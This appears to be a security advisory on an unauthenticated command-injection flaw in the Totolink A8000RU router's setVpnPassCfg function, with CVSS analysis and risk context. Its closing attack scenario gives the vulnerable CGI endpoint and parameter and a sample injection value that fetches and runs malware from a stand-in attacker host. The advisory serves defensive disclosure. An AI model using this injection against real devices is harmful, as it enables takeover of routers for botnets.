Totolink A8000RU EUVD-2026-25713

Remote exploitation requires the router's administrative web interface to be accessible over the network, which is the default configuration for LAN-side access and occurs on WAN-side when users enable remote management features. No authentication is required based on the CVSS vector PR:N, indicating the vulnerable CGI endpoint either lacks authentication checks or the vulnerability exists in a pre-authentication code path. The specific condition is that the setVpnPassCfg function must be reachable, which depends on the router's VPN configuration interface being present in the web UI-this is a standard feature in the A8000RU firmware. Attack complexity is low (AC:L) with no additional timing or race condition requirements (AT:N). No user interaction (UI:N) is needed, making this exploitable purely through attacker-initiated requests. The primary limiting factor for internet-wide exploitation is network reachability: devices behind NAT without port forwarding rules or remote management enabled are protected by network topology rather than the application itself.

This represents a critical real-world risk for deployed Totolink A8000RU devices. CVSS v4.0 vector confirms worst-case exploitability: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and proof-of-concept exploitation status (E:P). The public availability of working exploit code on GitHub means any attacker with basic technical skills can compromise vulnerable devices. While EPSS and KEV data are not provided in the intelligence, the combination of remote unauthenticated access, trivial exploitation, and public POC historically correlates with rapid weaponization in IoT botnets. The constraint to a single product model (A8000RU) limits widespread impact compared to enterprise vulnerabilities, but installed base in homes and small businesses creates significant aggregate exposure. SOHO routers typically receive infrequent firmware updates from end users, extending the vulnerable window indefinitely for most deployments.

An attacker scans the internet for Totolink A8000RU routers with exposed administrative interfaces on default ports 80 or 8080. Using the publicly available exploit from GitHub, they craft an HTTP POST request to /cgi-bin/cstecgi.cgi with malicious shell metacharacters in the pptpPassThru parameter of the setVpnPassCfg function, such as ';wget http://attacker.com/malware -O /tmp/bot;chmod +x /tmp/bot;/tmp/bot;'. The router executes these commands with the privileges of the CGI process (typically root), installing botnet malware that enrolls the device in a DDoS network or establishes a persistent foothold for lateral movement into the connected LAN.